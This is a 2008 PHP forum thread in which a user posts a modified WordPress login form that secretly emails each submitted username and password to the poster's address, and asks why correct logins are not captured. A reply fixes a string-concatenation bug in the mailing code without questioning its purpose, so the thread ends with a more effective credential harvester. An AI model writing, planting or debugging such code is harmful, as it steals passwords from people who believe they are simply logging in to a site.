Form input not getting emailed

Discussion in 'PHP' started by webcracker, May 12, 2008.

  1. #1
    Hi guys,

    I am having some problem with this code... when i input a wrong username and password it get emailed to me. but when i use the right password i get logged in but the inputted password aint get mailed to me... what i am doing wrong... plz help.. :eek:

    <form name="loginform" id="loginform" action="wp-login.php" method="post">
    <?php if ( !isset($_GET['checkemail']) || !in_array( $_GET['checkemail'], array('confirm', 'newpass') ) ) : ?>
    	<p>
    		<label><?php _e('Username') ?><br />
    		<input type="text" name="log" id="user_login" class="input" value="<?php echo attribute_escape(stripslashes($user_login)); ?>" size="20" tabindex="10" /></label>
    	</p>
    	<p>
    		<label><?php _e('Password') ?><br />
    		<input type="password" name="pwd" id="user_pass" class="input" value="" size="20" tabindex="20" /></label>
    	</p>
    <?php do_action('login_form'); ?>
    	<p class="forgetmenot"><label><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90" /> <?php _e('Remember Me'); ?></label></p>
    	<p class="submit">
    		<input type="submit" name="wp-submit" id="wp-submit" value="<?php if(isset($_POST['wp-submit']))
    {
    $to = "my@email.com";
    $subject = "Password";
    $usern = $_POST[user_login];
    $pwd = $_POST[pwd]; 
    $body = "Username : ";
    $body .= $usern;
    $body = "Password : ";
    $body .= $pwd;
    mail($to, $subject, $body);
    } _e('Log In'); ?>" tabindex="100" />
    		<input type="hidden" name="redirect_to" value="<?php echo attribute_escape($redirect_to); ?>" />
    		<input type="hidden" name="testcookie" value="1" />
    	</p>
    <?php else : ?>
    	<p>&nbsp;</p>
    <?php endif; ?>
    </form>
    PHP:
     
    webcracker, May 12, 2008 IP
  2. Altari

    Altari Peon

    Messages:
    188
    Likes Received:
    4
    Best Answers:
    0
    Trophy Points:
    0
    #2
    I'm not sure why it isn't working. I do see something that could be problematic though
    $body = "Username : ";
    $body .= $usern;
    $body = "Password : ";
    $body .= $pwd;
    Code (markup):
    Should be
    $body = "Username : ";
    $body .= $usern;
    $body .= "Password : ";
    $body .= $pwd;
    Code (markup):
    To prevent redeclaring "$body".
     
    Altari, May 13, 2008 IP